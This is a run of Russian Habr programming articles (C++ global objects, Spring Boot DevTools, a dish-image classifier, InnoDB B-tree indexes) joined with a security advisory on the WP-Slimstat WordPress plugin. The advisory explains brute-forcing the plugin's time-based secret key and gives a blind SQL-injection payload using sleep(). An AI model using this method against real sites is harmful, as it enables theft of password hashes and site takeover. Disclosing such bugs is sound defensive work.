Часто над глобальными объектами нужно проводить разные манипуляции во время создания или удаления. В наших проектах это чтение данных с диска (например, файла настроек для подсистемы), обновление данных игрока, которое происходит при загрузке приложения и через определённый интервал времени во время игры, и обновление внутриигрового цикла. У других программ могут быть дополнительные или совершенно иные действия. Поэтому конечный базовый тип будет определяться пользователем класса и позволит избежать множественного вызова одинаковых методов.
```
for (auto p_object : g_storage->GetStoredObjects())
p_object->Init();
```
Всё ли в итоге у нас хорошо?
----------------------------
Понятно, что производительность от подобной обёртки будет хуже, чем от использования глобального объекта напрямую. Для теста было создано десять различных типов. Сначала они использовались как глобальный объект без наших изменений, затем через `DefaultObjectsStorage`. Результат для *1 000 000* вызовов.
Текущий код работает медленнее обычного глобального объекта почти в 18 раз! Профайлер подсказывает, что больше всего времени занимает `typeid(*obj).hash_code()`. Раз добыча данных о типах во время исполнения тратит очень много процессорного времени, то нужно её обойти. Самый простой способ сделать это — хранить хеш типа в базовом классе глобальных объектов (`GlobalObjectBase`).
```
class GlobalObjectBase
{
protected:
size_t m_hash_code;
public:
...
size_t GetTypeHashCode() const { return m_hash_code; }
virtual void RecalcHashCode() { m_hash_code = typeid(*this).hash_code(); }
};
```
Также стоит поменять метод `ObjectStorageBase::AddGlobalObject и DefaultObjectsStorage:: GetGlobalObjectImpl`. Дополнительно статически сохраняем данные о типе в шаблонной функции родительского класса `ObjectStorageBase::GetGlobalObject`.
**Оптимизация хранилища**
```
template
class ObjectStorageBase
{
…
public:
template
void AddGlobalObject()
{
auto p\_object = std::make\_unique();
p\_object->RecalcHashCode();
AddGlobalObjectImpl(std::move(p\_object));
}
template
ObjectType\* GetGlobalObject() const
{
static size\_t type\_hash = typeid(ObjectType).hash\_code());
return static\_cast(GetGlobalObjectImpl(type\_hash);
}
…
};
class DefaultObjectsStorage : public ObjectStorageBase
{
…
private:
virtual GlobalObjectBase\* GetGlobalObjectImpl(size\_t i\_type\_code) const override
{
auto it = std::find\_if(m\_dynamic\_globals.begin(), m\_dynamic\_globals.end(), [i\_type\_code](const ObjPtr& obj)
{
return obj->GetTypeHashCode() == i\_type\_code;
});
if (it == m\_dynamic\_globals.end())
{
// здесь можно добавить ассерт о том, что что-то пошло не так
return nullptr;
}
return it->get();
}
…
};
```
Вышеуказанные изменения позволяют существенно уменьшить время поиска нужного объекта, и отличие будет уже не в 18 раз, а в 1,25 — это вполне приемлемо в большинстве случаев.
Кроме того, чтобы не менять целое хранилище для тестов, можно переопределять метод `GlobalObjectBase::RecalcHashCode` и выборочно заменять только нужные объекты. Для замены в основном классе необходимо сделать виртуальными нужные для теста методы и тестовый класс-наследник.
**Пример замены**
```
struct Foo : public GlobalObjectBase
{
int x = 0;
virtual void SetX()
{
x = rand()%1;
}
};
struct FooTest : public Foo
{
virtual void SetX() override
{
x = 5;
}
virtual void RecalcHashCode() { m_hash_code = typeid(First).hash_code(); }
};
g_getter.AddGlobalObject();
g\_getter.GetGlobalObject()->SetX();
```
Первопроходцем для внедрения этого подхода был [Fishdom](https://play.google.com/store/apps/details?id=com.playrix.fishdomdd.gplay), где несколько объектов стали использоваться через данную обёртку. Это позволило убрать зависимости, покрыть часть кода тестами и сделать удобнее монотонную работу по вызову методов (Init, Release, Update) в нужных местах.
По [ссылке](https://github.com/Playrix/playrix-public/tree/master/GlobalObjects) можно найти финальный код оболочки и описанные тесты. | https://habr.com/ru/post/316416/ | null | ru | null |
# Ускоренная разработка с помощью Spring Boot DevTools
Как ускорить разработку на Spring Boot с DevTools и сделать этот процесс более приятным и продуктивным?
### Настройка
Как обычно при разработке на Spring Boot, настройка достаточно проста. Все, что вам нужно сделать, это добавить правильную зависимость, и готово. Spring Boot находит ее и автоматически настраивает DevTools соответственно.
Если вы используете Maven:
```
org.springframework.boot
spring-boot-devtools
true
```
Если используется Gradle:
```
configurations {
developmentOnly
runtimeClasspath {
extendsFrom developmentOnly
}
}
dependencies {
developmentOnly("org.springframework.boot:spring-boot-devtools")
}
```
Обратите внимание, что зависимость объявлена как необязательная. Это важно, так как такое объявление зависимости предотвращает транзитивное применение DevTools зависимости к другим модулям, зависящим от вашего проекта.
### Автоматический перезапуск
Всякий раз, когда происходят изменения файлов в вашем classpath, DevTools автоматически перезапускает ваше работающее приложение с применением новых изменений. При локальной разработке это может оказаться полезным, поскольку вам не нужно повторно развертывать приложение вручную.
Само по себе это не было бы так полезно, поскольку перезапуск может все же занимать слишком много времени. К счастью, такой перезапуск выполняется намного быстрее, чем обычный перезапуск из-за хитрого трюка, который использует DevTools.
Дело в том, что при разработке приложения вы обычно меняете класс или несколько и хотите проверить результаты в своем запущенном приложении для получения обратной связи. Вы вносите незначительные изменения в свое приложение, тогда как большинство загруженных классов происходят из фреймворков и сторонних библиотек.
Под капотом Spring DevTools используются два загрузчика классов — ***base*** и ***restart***. Классы, которые не изменяются, загружаются базовым загрузчиком ***base***. Классы, с которыми вы работаете, загружаются при помощи загрузчика ***restart***. При каждом перезапуске загрузчик ***restart*** создается заново. Таким образом, перезапуск приложения происходит намного быстрее, чем обычно, и может стать реальной альтернативой перезагрузке динамического класса с помощью таких инструментов, как JRebel.
### Инициализация рестарта в IDE
Перезапуск срабатывает при каждом изменении файлов в вашем classpath. Однако этот процесс зависит от вашей IDE. Это означает, что недостаточно просто изменить ваши java файлы. Важно то, когда ваша IDE фактически обновляет файлы типа .class в вашем classpath.
При использовании IntelliJ IDEA вам необходимо запустить команду build в своем проекте (***Ctrl + F9*** или ***Build → Build Project***). Вы также можете [настроить автоматический запуск команды build в IDEA](https://www.mkyong.com/spring-boot/intellij-idea-spring-boot-template-reload-is-not-working/). Кроме того, вы можете открыть конфигурацию запуска Spring Boot и определить, что происходит при запуске обновления приложения (***Ctrl + F10***):
В первом поле со списком вы можете выбрать ***Update trigger file*** для запуска рестарта DevTools при каждом выполнении действия ***Update***. В качестве альтернативы, вы даже можете выбрать опцию ***Hot Swap*** и попробовать перезапустить приложение, используя DevTools, только если выполнение ***Hot Swap*** не удалась.
Во втором поле со списком вы можете настроить перезагрузку всех статических ресурсов и шаблонов, когда окно IDEA теряет фокус (например, при переключении в окно браузера).
В Eclipse достаточно просто сохранить ваши файлы.
### Только разработка
Spring Boot DevTools предназначены только для разработки, а не для производственной эксплуатации приложения. Если ваше приложение обнаруживает, что вы работаете в рабочей среде, DevTools автоматически отключаются.
Для этой цели, всякий раз когда вы запускаете ваше приложение как полностью упакованный артефакт, такой как jar со встроенным сервером приложений, оно считается производственным приложением:
```
java -jar devtools-example-1.0.0.jar
```
То же самое применимо, когда ваше приложение запускается через специальный загрузчик классов, например, на сервере приложений.
Напротив, когда вы запускаете распакованные артефакты (например, в вашей IDE), ваше приложение рассматривается в режиме разработки. То же самое относится и к использованию spring-boot-plugin для запуска приложения:
Maven:
```
mvn spring-boot:run
```
Gradle:
```
gradle bootRun
```
### LiveReload
[LiveReload](http://livereload.com/) — это полезный инструмент, который позволяет мгновенно обновлять страницу в браузере всякий раз, когда вы вносите изменения в файлы, такие как HTML, CSS, изображения и многое другое. Он даже предварительно обрабатывает файлы по мере необходимости — это означает автоматическую компиляцию файлов SASS или LESS.
Spring DevTools автоматически запускает локальный экземпляр сервера LiveReload, который отслеживает ваши файлы. Все, что вам нужно сделать, это установить [расширение для браузера](http://livereload.com/extensions/), и готово. Он не только полезен для разработки внешнего интерфейса вашего приложения (в случае, если вы распространяете его как часть артефакта приложения Spring), но также может использоваться для мониторинга и перезагрузки вывода вашего REST API.
### Переопределение свойств
При локальной разработке приложения у вас обычно возникают другие потребности в конфигурировании, чем при работе в рабочей среде. Одним из примеров может быть кеширование. В рабочей среде крайне важна зависимость от различных кэшей (таких как кэши шаблонов двигателя, заголовки кэширования для статических ресурсов и т. Д.). В процессе разработки он может использовать старые данные и не отражать ваши последние изменения. Другим примером может быть расширенное ведение журналов, которое может быть полезным при разработке, но слишком подробным для рабочей среды.
Слишком сложно управлять двумя типами конфигурации самостоятельно. Хорошей новостью является то, что Spring Boot DevTools по умолчанию настраивает множество свойств для вашей локальной разработки.
```
spring.thymeleaf.cache=false
spring.freemarker.cache=false
spring.groovy.template.cache=false
spring.mustache.cache=false
server.servlet.session.persistent=true
spring.h2.console.enabled=true
spring.resources.cache.period=0
spring.resources.chain.cache=false
spring.template.provider.cache=false
spring.mvc.log-resolved-exception=true
server.servlet.jsp.init-parameters.development=true
spring.reactor.stacktrace-mode.enabled=true
```
Вы можете найти список всех свойств в классе [DevToolsPropertyDefaultsPostProcessor](https://github.com/spring-projects/spring-boot/blob/v2.0.6.RELEASE/spring-boot-project/spring-boot-devtools/src/main/java/org/springframework/boot/devtools/env/DevToolsPropertyDefaultsPostProcessor.java).
### Удаленное подключение
Помимо локальной разработки, вы также можете подключиться к удаленному приложению под управлением DevTools. Этот инструмент не предназначен для производственных сред, поскольку может представлять серьезную угрозу безопасности. Однако он может быть очень полезным в пред производственной (pre-production) среде.
### Включение удаленного подключения
Удаленное подключение по умолчанию не включено. Вам необходимо явно включить его, изменив файл pom:
```
org.springframework.boot
spring-boot-maven-plugin
false
```
Или с gradle, вам нужно установить ***excludeDevtools = false***:
```
bootWar {
excludeDevtools = false
}
```
Затем вам нужно установить пароль, который будет использоваться для аутентификации при подключении к удаленному приложению:
```
spring.devtools.remote.secret=somesecret
```
### Подключение к удаленному приложению
После запуска удаленного приложения вы можете запустить сеанс удаленного подключения. Теперь все, что вам нужно сделать, это запустить ***org.springframework.boot.devtools.RemoteSpringApplication*** с URL-адресом вашего удаленного приложения в качестве аргумента. Обратите внимание, что вы должны использовать ***https***, если это возможно.
Запуск удаленного подключения легко выполняется в вашей IDE. В IDEA вам нужно просто создать новую конфигурацию запуска. Перейдите в ***Run → Edit Configurations ...*** и создайте новую конфигурацию с иконкой ***+*** в левом верхнем углу. Выберите тип приложения.
В качестве класса Main выберите ***RemoteSpringApplication*** из модуля DevTools и в качестве аргумента программы передайте URL-адрес вашего удаленного приложения.
После запуска этой конфигурации вы должны увидеть аналогичные выходные данные, если подключение к удаленному приложению прошло успешно.
После подключения к удаленному приложению DevTools отслеживает изменения пути к классам так же, как и для локальной разработки. Однако вместо локального перезапуска он переносит изменения на удаленный сервер и инициирует перезапуск там. Это может быть намного быстрее, чем создание приложения и его развертывание на удаленной машине.
### Глобальная конфигурация
Вы можете настроить DevTools, используя свойства конфигурации, как и в любом другом приложении Spring. Обычно это означает редактирование ***application.properties*** вашего проекта. Эта конфигурация является отдельной для каждого приложения.
Однако в некоторых сценариях может быть удобно иметь глобальную конфигурацию для ВСЕХ приложений, работающих на одном компьютере. Вы можете создать файл свойств с именем ***.spring-boot-devtools.properties***, расположенный в вашем каталоге ***$HOME***. Декларация, заявленная в этом файле, применяется ко всем приложениям, использующим DevTools.
### Ограничения
#### Live Reload
Приложение Spring с использованием DevTools автоматически запускает сервер LiveReload. К сожалению, только один экземпляр этого сервера может быть запущен одновременно. Точнее, будет работать только первый экземпляр. Это относится не только к нескольким экземплярам приложений Spring с DevTools, но и к любым другим приложениям, которые также используют LiverReload под капотом, таким как [Gatsby](https://www.vojtechruzicka.com/gatsby-migration/) в режиме разработки.
Если вы хотите настроить приложение Spring так, чтобы оно не запускало сервер LiveReload, то это можно сделать в вашем файле ***application.properties***:
```
spring.devtools.livereload.enabled=false
```
### Shutdown Hook
DevTools зависят от атрибута [shutdown hook](https://docs.spring.io/spring-boot/docs/current/api/org/springframework/boot/SpringApplication.html#setRegisterShutdownHook-boolean-) класса ***SpringApplication***. Класс не будет работать правильно, если вы вручную отключили атрибута, используя:
```
springApplication.setRegisterShutdownHook(false);
```
По умолчанию атрибут включен, поэтому вам не нужно беспокоиться об этом, если вы явно не отключите его.
### Коллизии со сторонними библиотеками
Хотя DevTools обычно должны работать правильно, у них могут быть конфликты со сторонними библиотеками. В частности, существует известная проблема с десериализацией с использованием стандартного ***ObjectInputStream***.
В случае такого конфликта вы можете отключить автоматический перезапуск, установив:
```
spring.devtools.restart.enabled=false
```
Перезапуск больше не будет срабатывать. Однако загрузчик классов ***restart*** все равно будет использоваться. Если вам нужно полностью отключить загрузчик классов, это необходимо сделать перед запуском приложения:
```
public static void main(String[] args) {
System.setProperty("spring.devtools.restart.enabled", "false");
SpringApplication.run(MyApp.class, args);
}
```
Даже если вы не используете автоматический перезапуск, вы все равно можете воспользоваться другими функциями DevTools.
### Включение отложенной инициализации
Вы можете пометить отдельные компоненты как лениво инициализированные с помощью аннотации . Эта функция доступна уже в течение достаточно долгого времени. Начиная с Spring Boot 2.2, вы можете переключать отложенную инициализацию для всех ваших bean-компонентов, используя ***spring.main.lazy-initialization = true***.
Это можно использовать отдельно или [в сочетании с DevTools для еще более быстрого перезапуска](https://spring.io/blog/2019/03/14/lazy-initialization-in-spring-boot-2-2#what-about-devtools).
DevTools позволяет выполнить горячий перезапуск вашего приложения в той же JVM. Значительным преимуществом горячего перезапуска является то, что он дает JIT больше возможностей для оптимизации кода, используемого при запуске вашего приложения. После нескольких перезапусков исходное время 2500 мс сокращается почти на 80% и приближается к 500 мс. С ленивой инициализацией мы можем доститичь лучших результатов. При установке ***spring.main.lazy-initialization*** наше приложение перезапускается через 400 мс непосредственно в IDE.
Использование отложенной инициализации для всех ваших bean-компонентов в производственном приложении сомнительно. Эта процедура обеспечивает превосходное повышение производительности при запуске за счет более длительных первых запросов к отдельным bean-компонентам. Что еще более важно, ваше приложение не перестает работать быстро. Но вместо сбоя сразу же при запуске приложения оно завершится ошибкой только после непосредственного запроса неправильно настроенного компонента. Это может быть очень опасно, так как вы не обнаружите многие ошибки, пока не станет слишком поздно. Тем не менее, массовая отложенная инициализация может быть полезна для ускорения времени разработки, так как при работе с определенной функцией вы обычно работаете только над частью вашего приложения, а остальное не используете. Идеальным компромиссом было бы включение массовой отложенной инициализации только для локальной разработки (скажем, с использованием пружинного профиля) и отключение его для развернутых более высоких сред.
### Заключение
DevTools ускоряет и упрощает разработку приложений Spring Boot, обеспечивая автоматический перезапуск и функцию LiveReload. В дополнение к этому, он устанавливает различные свойства для значений, более подходящих для локальной разработки. Кроме того, он позволяет вам удаленно подключаться к вашему приложению и при этом использовать большинство его функций. При запуске приложения в производство DevTools не используются. Для получения подробной информации см. [официальную документацию](https://docs.spring.io/spring-boot/docs/current/reference/html/using-boot-devtools.html). | https://habr.com/ru/post/479382/ | null | ru | null |
# Делаем нейронную сеть, которая сможет отличить борщ от пельмешек
Как то раз смотря видос про достижения Поднебесной, я увидел прикольную штуку. Столовую будущего, точнее для Китая настоящего, а для нас будущего. Суть заключалась в полном самообслуживание клиента. Он брал блюда на поднос и подносил поднос к видео камере где нейросетка детектировала и распознавала еду, выставляла ему счет и он через еще одну нейронную сеть, которая распознавала его лицо, оплачивал свою покупку. Мне тоже захотелось сделать что то подобное. Размечать датасет под YOLO, что бы можно было детектировать блюда мне было совсем не охото. Готово размеченного с борщами и пельмешками я не нашел, поэтому решил сделать только классификацию.
Картинки борща, пельменей и кофе я спарсил из гугла и яндекса. Далее разложил их по папкам train и data. Засада оказалась в керасе, а именно в модуле image generator. Я не хотел что бы датасет занимал всю оперативку, но почему то когда программа доходила до этого модуля, то она зависала. Ну тогда я решил идти простым пу тем и просто забил весь датасет в оперативку.
```
def data_load_image(folder, y, z):
imagePath = folder + '/'
jpg1 = ".jpg"
y = int(y)
global number
global dataset_X
global dataset_Y
global dataval_X
global dataval_Y
for file in glob.glob(folder +"/*"):
identify = os.path.splitext(os.path.basename(file))[0]
#print (identify)
cv = imagePath + identify + jpg1
#print (cv)
img = (cv2.imread(cv))
img = cv2.resize(img,(224,224))
#img = np.reshape(img,(3,224,224))
if z == 1:
dataset_X[number, :, : , :] = img/255.0
dataset_Y[number, y] = 1
else:
dataval_X[number, :, :, :] = img/255.0
dataval_Y[number, y] = 1
number = number + 1
```
Далее скачиваем библиотеку Resnet-50 без подключенных верхних слоев и замораживаем их. Обучение наиважнейшей задаче по рапознованию пельмешек было опробованно так же на VGG-19 и MobileNet, но они с задачей не справлялись от слова совсем.
```
model = applications.ResNet50(
weights = 'imagenet',include_top = False,
input_tensor = img, input_shape = None, pooling = 'avg')
for layer in model.layers:
layer.trainable = False
```
Добавляем слои для transfer learning
```
#Adding custom Layers
x = model.layers[-1].output
#x = Flatten()(x)
#x = Dense(128, activation="relu")(x)
x = Dropout(0.1)(x)
x = Dense(256, activation="relu")(x)
predictions = Dense(4, activation="sigmoid")(x)
# creating the final model
model_final = Model(input = model.input, output = predictions)
```
Функция для перемешивания наших картинок, что бы нейросети было сложнее обучаться. Хочу заметить что я не задавал конкретного значения для функции рандома. Модель обучалась несколько раз с разным значением рандома и каждый раз результат был более 90 процентов.
Похоже правило счастливого билета действует только для больших нейронных сетей.
```
def unison_shuffled_copies(a, b):
assert len(a) == len(b)
z = np.arange(a.shape[0])
np.random.shuffle(z)
print(z.shape)
return a[z,:], b[z,:]
```
Для обучения я использовал категориальную кросэнтропию, а оптимизатор — адам.
```
model_final.compile(loss='categorical_crossentropy', optimizer='adam', metrics=['accuracy'])
model.summary()
```
Ну и сам процесс обучения. Здесь я перемешивал картинки каждую эпоху
```
for i in range(30):
print('STEP ' + str(i))
model_final.fit(dataset_X, dataset_Y, epochs=1, batch_size=15)
dataset_X, dataset_Y = unison_shuffled_copies(dataset_X,dataset_Y)
```
Результат на видео.
[Ссылка на исходники.](https://github.com/beetlea/Pelmeshki_Find/tree/main)
Для запуска нейронки запустите файл opencv-camera.py | https://habr.com/ru/post/519330/ | null | ru | null |
# Как и почему в InnoDB появились индексы на основе В-дерева
Всем хорошо известно, что индексы на основе структуры данных В-дерево помогают нам быстрее читать и находить записи в таблицах. В сети можно найти огромное количество информации по этому поводу, но я постараюсь показать, с какими проблемами нам пришлось бы столкнуться без использования индексов на основе В-дерева, и почему выбрали эту структуру данных. И в качестве примера я возьму подсистему хранения InnoDB из MySQL.
Чтобы разобраться, как появились индексы на основе В-дерева, давайте представим мир без них и попробуем решить типовую задачу. Попутно обсудим проблемы, с которыми столкнемся, и способы их решения.
Введение
--------
В мире баз данных выделяют два самых распространенных способа хранения информации:
1. На основе Log based-структур.
2. На основе страниц.
Преимущество первого способа в том, что он позволяет просто и быстро читать и сохранять данные. Новую информацию можно записывать только в конец файла (последовательная запись), что обеспечивает высокую скорость записи. Этот способ используют такие базы, как Leveldb, Rocksdb, Cassandra.
При втором способе (на основе страниц) данные разделяются на части фиксированного размера и сохраняются на диск. Эти части и называют «страницами» или «блоками». Они содержат записи (строки, кортежи) из таблиц.
Такой способ хранения данных используют MySQL, PostgreSQL, Oracle и другие. И поскольку мы говорим про индексы в MySQL, именно этот подход мы и рассмотрим.
Хранение данных в MySQL
-----------------------
Итак, все данные в MySQL сохраняются на диск в виде страниц. Размер страницы регулируется настройками базы данных и по умолчанию равен 16 Кб.
Каждая страница содержит в себе 38 байтов заголовков и 8-байтовое окончание (как показано на рисунке). А пространство, отведенное для хранения данных заполняется не полностью, потому что MySQL на каждой странице оставляет пустое место для будущих изменений.
Далее в расчетах мы будем пренебрегать служебной информацией, предполагая, что все 16 Кб страницы заполнены нашими данными. Мы не будем углубляться в организацию страниц InnoDB, это тема для отдельной статьи. Подробнее об этом вы можете почитать [здесь](https://blog.jcole.us/2013/01/03/the-basics-of-innodb-space-file-layout/).
Поскольку мы выше договорились, что индексы еще не существуют, то для примера создадим простую табличку без всяких индексов (на самом деле, MySQL все равно создаст индекс, но мы его не будем учитывать в расчетах):
```
CREATE TABLE `product` (
`id` INT NOT NULL AUTO_INCREMENT,
`name` CHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL,
`category_id` INT NOT NULL,
`price` INT NOT NULL,
) ENGINE=InnoDB;
```
и выполним такой запрос:
```
SELECT * FROM product WHERE price = 1950;
```
MySQL откроет файл, где хранятся данные из таблицы `product`, и начнет перебирать все записи (строки) в поисках нужных, сравнивая поле `price` из каждой найденной строки со значением в запросе. Для наглядности я специально рассматриваю вариант с полным сканированием файла, так что случаи, когда MySQL получает данные из кэша, нам не подходят.
С какими же проблемами мы при этом можем столкнуться?
Жесткий диск
------------
Так как у нас все хранится на жестком диске, давайте посмотрим на его устройство. Жесткий диск читает и пишет данные по секторам (блокам). Размер такого сектора может быть от 512 байтов до 8 Кб (в зависимости от диска). Несколько идущих подряд секторов могут объединяться в кластеры.
Размер кластера можно задать при форматировании/разметке диска, то есть это делается программно. Предположим, что размер сектора на диске равен 4 Кб, а файловая система размечена с размером кластера 16 Кб: один кластер состоит из четырех секторов. Как мы помним, MySQL по умолчанию хранит данные на диске страницами по 16 Кб, поэтому одна страница помещается в один кластер диска.
Давайте посчитаем, сколько пространства займет наша табличка с продуктами при условии, что в ней хранится 500 000 позиций. Мы имеем три четырехбайтных поля `id`, `price` и `category_id`. Условимся, что поле name у всех записей заполнено до конца (все 100 символов), и каждый символ занимает 3 байта. (3\*4) + (100\*3) = 312 байт — столько весит одна строка нашей таблицы, и умножив это на 500 000 строк получим вес таблицы `product` 156 мегабайтов.
Таким образом, для хранения этой таблички необходимо 9750 кластеров на жестком диске (9750 страниц по 16 Кб).
При сохранении на диск берутся свободные кластеры, что приводит к «размазыванию» кластеров одной таблички (файла) по всему диску (это называют фрагментацией). Чтение таких случайно расположенных на диске блоков памяти называют случайным чтением (random read). Такое чтение получается медленнее, потому что требуется многократно перемещать головку жесткого диска. Чтобы считать весь файл, нам приходится прыгать по всему диску для получения нужных кластеров.
Вернемся к нашему SQL-запросу. Для нахождения всех строк серверу придется считать все 9750 кластеров, разбросанных по всему диску, при этом будет затрачено много времени на перемещение считывающей головки диска. Чем больше кластеров используют наши данные, тем медленнее будет осуществляться поиск по ним. И кроме того, наша операция забьет систему ввода/вывода операционной системы.
В конечном итоге мы получаем низкую скорость чтения данных; «подвешиваем» ОС, забивая систему ввода/вывода; и производим много сравнений, проверяя условия запроса для каждой строки.
Сам себе велосипед
------------------
Как мы можем самостоятельно решить эту проблему?
Нужно придумать, как улучшить поиск по таблице `product`. Создадим еще одну таблицу, в которой будем хранить только поле `price` и ссылку на запись (область на диске) в нашей таблице `product`. Примем сразу за правило, что при добавлении данных в новую таблицу мы будем хранить цены в отсортированном виде.
Что нам это дает? Новая таблица, как и основная, хранится на диске постранично (блоками). В ней записаны цена и ссылка на основную таблицу. Давайте посчитаем, сколько места займет такая таблица. Цена занимает 4 байта, и пусть ссылка на основную таблицу (адрес) тоже будет размером 4 байта. Для 500 000 строк наша новая таблица будет весить всего 4 Мб. Тогда на одну страницу с данными поместится намного больше строк из новой таблицы, и потребуется меньше страниц для хранения всех наших цен.
Если для полной таблицы требуется 9750 кластеров на жестком диске (а в худшем случае это 9750 прыжков по жесткому диску), то новая таблица помещается всего на 250 кластеров. За счет этого многократно уменьшится количество использованных кластеров на диске, а значит и время, затраченное на случайное чтение. Даже если мы будем читать всю нашу новую табличку и сравнивать значения для поиска нужной цены, то в худшем случае понадобится 250 прыжков по кластерам новой таблицы. И после нахождения нужного адреса прочитаем еще один кластер, где лежат полные данные. Результат: 251 считывание против изначальных 9750. Разница существенная.
Помимо этого, для поиска по такой таблице можно воспользоваться, например, алгоритмом бинарного поиска (так как список отсортированный). Так мы еще больше сэкономим на количестве чтений и операциях сравнения.
Давайте назовем нашу вторую таблицу индексом.
Ура! Мы придумали свой собственный ~~велосипед~~ индекс!
Но стоп: ведь по мере роста таблицы индекс тоже будет все больше и больше, и в конечном итоге мы снова вернемся к исходной проблеме. Поиск опять будет занимать много времени.
### Еще один индекс
А если создать еще один индекс над уже имеющимся?
Только на этот раз запишем не каждое значение поля `price`, а одно значение свяжем с целой страницей (блоком) из индекса. То есть появится дополнительный уровень индекса, который будет указывать на набор данных из предыдущего индекса (страницу на диске, где хранятся данные из первого индекса).
Это еще уменьшит количество чтений. Одна строка нашего индекса занимает 8 байтов, то есть на одну 16-килобайтовую страницу мы можем вместить 2000 таких строк. Новый индекс будет содержать в себе ссылку на блок из 2000 строк первого индекса и цену, с которой этот блок начинается. Одна такая строка тоже занимает 8 байтов, но их количество резко уменьшается: вместо 500 000 всего 250. Они даже помещаются в один кластер жесткого диска. Таким образом, чтобы найти нужную цену мы сможем точно определить, в каком блоке из 2000 строк она находится. И в худшем случае, для нахождения все той же записи мы:
1. Выполним одно чтение из нового индекса.
2. Пробежав по 250 строкам найдем ссылку на блок данных из второго индекса.
3. Считаем один кластер, в котором хранится 2000 строк с ценами и ссылками на основную таблицу.
4. Проверив эти 2000 строк, найдем нужную и еще один раз прыгнем по диску, чтобы прочитать последний блок с данными.
Получим всего 3 прыжка по кластерам.
Но и этот уровень рано или поздно тоже наполнится множеством данных. Поэтому нам придется повторить все сделанное, добавляя новый уровень снова и снова. То есть нам нужна такая структура данных для хранения индекса, которая будет добавлять новые уровни по мере увеличения размера индекса и самостоятельно при этом балансировать данные между ними.
Если мы перевернем таблички, чтобы сверху был последний индекс, а снизу основная таблица с данными, то получится структура, очень похожая на дерево.
По похожему принципу работает структура данных B-дерево, поэтому ее выбрали для этих целей.
Коротко о В-деревьях
--------------------
Чаще всего в MySQL используются индексы, упорядоченные на основе [B-дерева (сбалансированное дерево поиска)](https://ru.wikipedia.org/wiki/B-%D0%B4%D0%B5%D1%80%D0%B5%D0%B2%D0%BE).
Общая идея В-дерева похожа на наши таблички индексов. Значения хранятся по порядку и все листья дерева находятся на одинаковом расстоянии от корня.
Подобно тому, как наша таблица с индексом хранила значение цены и ссылку на блок данных, в которой находится диапазон значений с этой ценой, так и в корне В-дерева хранится значение цены и ссылка на область памяти на диске.
Сначала читается страница, в которой находится корень В-дерева. Далее по вхождению в диапазон ключей находится указатель на нужный дочерний узел. Читается страница дочернего узла, откуда по значению ключа берется ссылка на лист с данными, и по этой ссылке читается страница с данными.
В-дерево в InnoDB
-----------------
Если быть точнее, то в InnoDB используется структура данных B+дерево (B+tree).
Каждый раз, создавая таблицу вы автоматически создаете В+дерево, потому что MySQL хранит такой индекс для первичного и вторичного ключей.
Вторичные ключи дополнительно хранят в себе еще и значения первичного (кластерного) ключа в качестве ссылки на строку с данными. Следовательно, вторичный ключ увеличивается на размер значения первичного ключа.
Кроме того, в В+деревьях используются дополнительные ссылки между дочерними узлами, что увеличивает скорость поиска по диапазону значений. Подробнее о структуре b+tree индексов в InnoDB читайте [здесь](https://blog.jcole.us/2013/01/10/btree-index-structures-in-innodb/).
Подводим итоги
--------------
Индекс на основе b-дерева дает большое преимущество при поиске данных по диапазону значений за счет многократного снижения количества считываемой информации с диска. Он участвует не только во время поиска по условию, но и при сортировках, соединениях, группировках. Как MySQL использует индексы читайте [здесь](https://dev.mysql.com/doc/refman/8.0/en/mysql-indexes.html).
Большая часть запросов к базе — это как раз запросы на поиск информации по значению или по диапазону значений. Поэтому в MySQL самым часто используемым индексом является индекс на основе b-дерева.
Также, b-tree индекс помогает при получении данных. Так как в листьях индекса хранятся первичный ключ (кластерный индекс) и само значение колонки, по которой построен некластерный индекс (вторичный ключ), то за этими данными можно уже не обращаться к основной таблице и брать их из индекса. Это называется покрывающим индексом. Подробнее о кластерных и некластерных индексах можно найти в [этой статье](https://habr.com/ru/post/141767/).
Индексы, как и таблицы, тоже хранятся на диске и занимают место. При каждом добавлении информации в таблицу индекс нужно поддерживать в актуальном состоянии, следить за правильностью всех ссылок между узлами. Это создает накладные расходы при записи информации, что является основным недостатком индексов на основе b-дерева. Мы жертвуем скоростью записи для увеличения скорости чтения.
Список используемой литературы
------------------------------
* MySQL по максимуму. 3-е издание
Автор: Зайцев Пётр, Ткаченко Вадим и Шварц Бэрон
Год выпуска: 2018
* [blog.jcole.us/innodb](https://blog.jcole.us/innodb/)
* [dev.mysql.com/doc/refman/8.0/en/innodb-storage-engine.html](https://dev.mysql.com/doc/refman/8.0/en/innodb-storage-engine.html) | https://habr.com/ru/post/514596/ | null | ru | null |
# Уязвимость в плагине WP-Slimstat 3.9.5 и ниже для WordPress
Пользователям плагина WP-Slimstat версии 3.9.5 и ниже следует обновиться как можно быстрее! Во время проведения очередного аудита безопасности мы обнаружили ошибку в безопасности, благодаря которой злоумышленник может получить «секретный» ключ плагина и, тем самым, осуществить SQL-инъекцию.
Успешная реализация этого бага может привести к атакам типа «слепая sql-инъекция» (Blind SQL-Injection), которая позволит злоумышленнику получить данные из БД, в том числе имя пользователя, хэш пароля, а в некоторых конфигурациях и секретные ключи самого WordPress (полный контроль над сайтом).
WP-Slimstat использует «секретный» ключ для подписи данных, передаваемых от/к клиенту. Взглянув на то, каким образом генерируется этот ключ, можно сделать вывод, что злоумышленнику не составит труда узнать его:
В качестве «секретного» ключа используется хэш от времени, когда был установлен плагин. Злоумышленник может воспользоваться такими сайтами, как, например, [Internet Archive](https://archive.org/), чтобы узнать примерное время создания сайта (после этого остается примерно 30 миллионов значений для проверки, что для современных CPU займет около 10 минут).
Чтобы можно было выполнить брутфорс, требуется только получить валидные и подписанные данные от плагина. Их несложно найти в разных фрагментах сгенерированных веб-страниц:
На первый взгляд это может показаться сложным, но, глядя на то, как эта структура данных используется в плагине, можно проследить простой способ подписи данных и хэширования составной строки, состоящей из payload и «секретного» токена:
Зная эту информацию злоумышленник может брутфорсить временные метки до тех пор, пока не получит такую же сигнатуру, как у атакуемого сайта.
В ходе расследования нам удалось установить, что мы можем передавать произвольные данные при вызове **unserialize()**, которые в дальнейшем буду переданы в метод **maybe\_insert\_row()** через переменную **$content\_info**:
Учитывая то, что мы контролируем **$\_data**, мы можем добавить в нее ассоциативный массив, индексами которого будут SQL-выражения, например:
```
array(“1=sleep(100)–“=>”1″)
```
Эта способность выполнять любые запросы, позволяет злоумышленнику получить любые данные из базы. Это опасная уязвимость и вы должны обновить плагин как можно быстрее. | https://habr.com/ru/post/251445/ | null | ru | null |
# Работаем с TypeMock Isolator
